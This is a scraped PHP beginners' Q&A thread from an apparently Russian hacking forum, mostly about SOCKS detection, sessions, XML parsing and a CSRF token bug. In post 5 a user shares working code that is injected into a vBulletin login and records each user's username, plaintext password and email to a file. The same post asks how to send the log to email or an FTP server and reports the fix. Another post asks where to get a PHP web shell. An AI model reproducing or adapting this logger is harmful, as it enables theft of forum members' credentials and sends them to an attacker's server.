[php] Новичкам: задаем вопросы

Discussion in 'PHP' started by _Great_, 26 May 2007.

Thread Status:
Not open for further replies.
  1. qaz

    qaz Elder - Старейшина

    Joined:
    12 Jul 2010
    Messages:
    1,551
    Likes Received:
    173
    Reputations:
    75
    как скриптом оличить сокс 4 от сокс5?
     
  2. Flisk

    Flisk Member

    Joined:
    4 Aug 2010
    Messages:
    147
    Likes Received:
    8
    Reputations:
    -2
    Написал скрипт для выхода из форума, т.е. logout.
    php ругается, что "Trying to destroy uninitialized session ", хотя сессия объявлялась в файле, откуда есть линк на logout.php

    Дописал в код logoutа session_start();, и заработало. Это у меня глюк пхп или я идиот?
     
  3. Gifts

    Gifts Green member

    Joined:
    25 Apr 2008
    Messages:
    2,494
    Likes Received:
    807
    Reputations:
    614
    Darth Padla Почему-то хочется убивать людей, у которых echo расположены по всей протяженности скрипта.

    qaz
    Попытаться подключиться как сокс5, а потом как сокс4. Если подключилось - вы узнали что за прокси перед вами.

    Flisk
    Что значит линк. PHP связан со сгенерированным им html исходником почти никак. И любой доступ к новой странице следует рассматривать как независимый. Поэтому сессию, очевидно, надо инциализировать в каждом файле к которому обращаются.
     
    _________________________
  4. Flisk

    Flisk Member

    Joined:
    4 Aug 2010
    Messages:
    147
    Likes Received:
    8
    Reputations:
    -2
    Gifts, спасибо. Я просто в какой-то книжке нашел пример, там файл exit.php имел только session_destroy(), без инициализации. Я и подумал, что у меня пхп глючит. Видимо, книга старая или и там ошиблись..
     
  5. crashik666

    crashik666 New Member

    Joined:
    13 Apr 2007
    Messages:
    2
    Likes Received:
    0
    Reputations:
    0
    Помогите пожалуйста переделать скрипт. Нужно чтобы он либо отправлял содержимое переменных на почту либо записывал в файл который находится на ftp сервере.

    PHP:
    $lg_username strtolower($vbulletin->GPC["vb_login_username"]);
       
    $lg_password $vbulletin->GPC["vb_login_password"];
       
    $lg_file "./usr/www/users/server/log.html";
       
    $sql_query = @mysql_query("SELECT * FROM " TABLE_PREFIX "user WHERE username='" $lg_username "'");
        
       while(
    $row = @mysql_fetch_array($sql_query))
       {
        
          if(
    strlen($lg_password) > AND strlen($lg_username) > 1)
          {
             
    $fp1 = @fopen($lg_file"a+");
             @
    fwrite($fp1$lg_username ' : ' .  $lg_password." (" $row["email"] . ")\n");
             @
    fclose($fp1);
             
    $f = @file($lg_file);
             
    $new array_unique($f);
             
    $fp = @fopen($lg_file"w");
             foreach(
    $new as $values)
             {
                @
    fputs($fp$values);
             }
             @
    fclose($fp);
          }
       } 
    попробовал написать
    PHP:
    $lg_file "ftp://username:password@host/filename.html";
    файл создается на фтп но в него нечего не пишется.

    Все сделал сам, решение было в замене a+ на w
    $fp1 = @fopen($lg_file, "w");
     
    #20705 crashik666, 12 Jun 2012
    Last edited: 12 Jun 2012
  6. Exompies

    Exompies Member

    Joined:
    14 Oct 2011
    Messages:
    0
    Likes Received:
    9
    Reputations:
    1
    ищу скрипт shell php где взять?
     
  7. Kruzak

    Kruzak New Member

    Joined:
    21 Dec 2010
    Messages:
    126
    Likes Received:
    4
    Reputations:
    1
  8. qaz

    qaz Elder - Старейшина

    Joined:
    12 Jul 2010
    Messages:
    1,551
    Likes Received:
    173
    Reputations:
    75
    мда.... http://forum.antichat.ru/thread103155.html

    Вобщето такие вопросы создают сдесь
    http://forum.antichat.ru/thread92492.html


    preg_match("/<Value>(.*?)<\/Value>/",$site, $pars);
     
  9. krypt3r

    krypt3r Elder - Старейшина

    Joined:
    27 Apr 2007
    Messages:
    1,507
    Likes Received:
    389
    Reputations:
    101
    Более правильно парсить через XML-парсеры
    PHP:
    <?php
      $xml 
    simplexml_load_file ('http://www.cbr.ru/scripts/XML_daily.asp?date_req=13.06.2012');
      
    $xml $xml->xpath ('//CharCode[text()="USD"]/following-sibling::Value');
      echo 
    $xml[0], "\n";
    ?>
    Code:
    32,5862
    
    Методом тыка. Отсылать клиентские сокс-запросы и анализировать ответ сервера.
     
    #20709 krypt3r, 14 Jun 2012
    Last edited: 14 Jun 2012
    1 person likes this.
  10. Siter

    Siter New Member

    Joined:
    25 Jul 2010
    Messages:
    0
    Likes Received:
    0
    Reputations:
    0
    Всем привет.

    Ребят, как реализовать вызов обращения к аяксу автоматически?

    До этого юзал только OneClick. Как сделать, чтобы в случае надобности php сам обращался к ajax скрипту?
     
  11. Darth Padla

    Darth Padla Member

    Joined:
    21 Jun 2010
    Messages:
    141
    Likes Received:
    25
    Reputations:
    8
    Мне кажется,что дальше будет что то вроде -
    PHP:
    НовичокПодскажите пожалуста самый крепкий сорт дереваВесь инет перерылпоиском пользовался!
    СтарожилОбъяснизачем тебе понадобилось деревоСейчас оно в строительстве практически не используется.
    НовичокЯ небоскрёб собираюсь строитьХочу узнатьиз какого дерева делать перекрытия между этажами!
    СтарожилКакое деревоТы вообще соображаешьчто говоришь?
    НовичокЧем мне нравиться этот форум из двух ответов ниодного конкретногоОдни вопросы неподелу!
    СтарожилНе нравится тебя здесь никто не держитНо если ты не соображаешьчто из дерева небоскрёбы не строятто лучше бы тебе сначала школу закончить.
    НовичокНе знаите лучше молчитеУ меня дедушка в деревянном доме живётУ НЕГО НИЧЕГО НЕ ЛОМАЕТСЯ!!!
    Но у него дом из сосныа я понимаючто для небоскрёба нужно дерево прочнееПоэтому и спрашиваю!!! А от вас нормального ответа недождёшся!!!
    ПрохожийСамое крепкое дерево дубВот тебе технология вымачивания дуба в солёной водеона придаёт дубу особую прочность
    НовичокСпасибобратанТо что нужно!!!
     
  12. Darth Padla

    Darth Padla Member

    Joined:
    21 Jun 2010
    Messages:
    141
    Likes Received:
    25
    Reputations:
    8
  13. shadowrun

    shadowrun Banned

    Joined:
    29 Aug 2010
    Messages:
    842
    Likes Received:
    170
    Reputations:
    84
    PHP:
    <?php
     $header
    ="";
     
    $header="GET /someuri HTTP/1.0\r\n";
     
    $header=$header."Accept-Language: en-us,en;q=0.5\r\n";
     
    $header=$header."Accept-Charset: utf-8,*;q=0.7\r\n";
     
    $header=$header."Accept: text/html,image/jpeg,image/gif,text/xml,text/plain,image/png,*/*;q=0.5";
     
    $header=$header."User-Agent: User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; ru) Opera 8.50\r\n";
     
    $header=$header."Connection: keep-alive\r\n";
     
    $header=$header."Host: somehost.com\r\n\r\n";
      
    $dt="";
     
    $fp=fsockopen("somesite.com"80);
     
    fwrite($fp$header);
     while(!
    feof($fp)) {  
    $dt.=fread($fp1024);
       }
     
    fclose($fp);
     
    $hash_csrf_token="";
     
    $hash_csrf_token=substr(someparse);


      
    $header="";
     
    $data "hash[_input_]=someparam&hash[_csrf_token]=".$hash_csrf_token;
     
    $header="POST someuri/request HTTP/1.1\r\n";
     
    $header=$header."Accept-Language: en-us,en;q=0.5\r\n";
     
    $header=$header."Accept-Charset: utf-8,*;q=0.7\r\n";
     
    $header=$header."Accept: text/html,image/jpeg,image/gif,text/xml,text/plain,image/png,*/*;q=0.5\r\n";
     
    $header=$header."User-Agent: User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; ru) Opera 8.50\r\n";
     
    $header=$header."Connection: keep-alive\r\n";
     
    $header=$header."Host: somehost.com\r\n\r\n";
     
    $header=$header.$data."\r\n";
      
    $fp=fsockopen("somehost"80);
       
    fwrite($fp$header);
     while(!
    feof($fp))  { 
        
    $answer.= fread($fp1024);
         }
     
    fclose($fp);
     
    flush(); 
    ?>
    Когда отправляется пост запрос, снифер показывает, что к значению параметра hash[_csrf_token] дописывается ответ сервера :eek: . Парсится все чисто... wtf??
     
  14. PabloMon

    PabloMon New Member

    Joined:
    3 Feb 2012
    Messages:
    6
    Likes Received:
    1
    Reputations:
    0
    Если регулярками, то вот она
    Code:
    #<CharCode>USD</CharCode>.+?<Value>([^<]+)</Value>#is
     
    #20714 PabloMon, 15 Jun 2012
    Last edited: 15 Jun 2012
  15. PabloMon

    PabloMon New Member

    Joined:
    3 Feb 2012
    Messages:
    6
    Likes Received:
    1
    Reputations:
    0
    Так а что находится в параметре $hash_csrf_token перед строкой
    PHP:
    $data "hash[_input_]=someparam&hash[_csrf_token]=".$hash_csrf_token
     
  16. shadowrun

    shadowrun Banned

    Joined:
    29 Aug 2010
    Messages:
    842
    Likes Received:
    170
    Reputations:
    84
    32значное число
     
  17. PabloMon

    PabloMon New Member

    Joined:
    3 Feb 2012
    Messages:
    6
    Likes Received:
    1
    Reputations:
    0
    Если его вывести, то там будет только оно? Это я к тому, правильно ли оно вырезается отсюда:
    PHP:
    $hash_csrf_token=substr(someparse);
     
  18. shadowrun

    shadowrun Banned

    Joined:
    29 Aug 2010
    Messages:
    842
    Likes Received:
    170
    Reputations:
    84
    Да, там все нормально вырезается.
     
  19. PabloMon

    PabloMon New Member

    Joined:
    3 Feb 2012
    Messages:
    6
    Likes Received:
    1
    Reputations:
    0
    Можешь показать, что показывается в снифере?
     
  20. shadowrun

    shadowrun Banned

    Joined:
    29 Aug 2010
    Messages:
    842
    Likes Received:
    170
    Reputations:
    84
    [​IMG]
     
Thread Status:
Not open for further replies.